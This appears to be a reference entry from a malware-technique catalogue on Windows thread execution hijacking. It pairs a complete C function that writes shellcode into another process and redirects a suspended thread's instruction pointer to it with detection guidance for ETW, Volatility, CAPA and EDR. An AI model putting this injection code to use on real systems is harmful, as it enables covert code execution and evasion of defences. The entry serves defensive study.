Thread Execution Hijacking
Malware suspends an existing thread in a target process, overwrites its instruction pointer via SetThreadContext, and resumes it to redirect execution to injected shellcode.
Thread Execution Hijacking redirects an existing, legitimate thread's execution flow to attacker-controlled shellcode. Unlike process hollowing, no new process is created — the technique rides on a thread that already exists, blending into normal process activity and avoiding thread-creation telemetry.
Attack flow
- Find a thread in the target process via
CreateToolhelp32Snapshot+Thread32First/Next. - Suspend it with
SuspendThread. - Allocate and write shellcode into the target process with
VirtualAllocEx+WriteProcessMemory. - Retrieve the thread's current context with
GetThreadContext(savingRIP/EIPfor later restoration). - Overwrite
RIP(orEIP) with the shellcode address usingSetThreadContext. - Resume with
ResumeThread; the thread immediately executes the shellcode.
How it works
#include <windows.h>
#include <tlhelp32.h>
BOOL HijackThread(DWORD dwTargetPid, BYTE *pShellcode, SIZE_T cbShellcode)
{
HANDLE hProc = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwTargetPid);
// Allocate RWX region and write shellcode
LPVOID pRemote = VirtualAllocEx(hProc, NULL, cbShellcode,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRemote, pShellcode, cbShellcode, NULL);
// Find a thread in the target
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
HANDLE hThread = NULL;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == dwTargetPid) {
hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT
| THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
break;
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
SuspendThread(hThread);
CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &ctx);
#ifdef _WIN64
ctx.Rip = (DWORD64)pRemote;
#else
ctx.Eip = (DWORD)pRemote;
#endif
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}A subtlety: suspending a thread mid-lock can deadlock the target process. More robust implementations save the original RIP value inside the shellcode so the shellcode can restore it and resume normal execution after completing its payload.
Detection & analysis
During analysis:
- Process Monitor: watch for
SuspendThread+SetThreadContext+ResumeThreadon a thread belonging to a different process. - ETW Microsoft-Windows-Threat-Intelligence: logs cross-process context modifications.
- Memory forensics (Volatility
malfind): surfaces RWX pages in legitimate processes not backed by a file on disk.
Static / automated detection:
- CAPA: pattern
OpenThread → SuspendThread → WriteProcessMemory → SetThreadContext → ResumeThreadin the same function. - MITRE ATT&CK T1055.003; Unprotect ID U1223.
- EDR taint analysis: any call to
SetThreadContextwhere the target thread belongs to a different process andRIP/EIPpoints into a freshly allocated anonymous region is high-confidence malicious.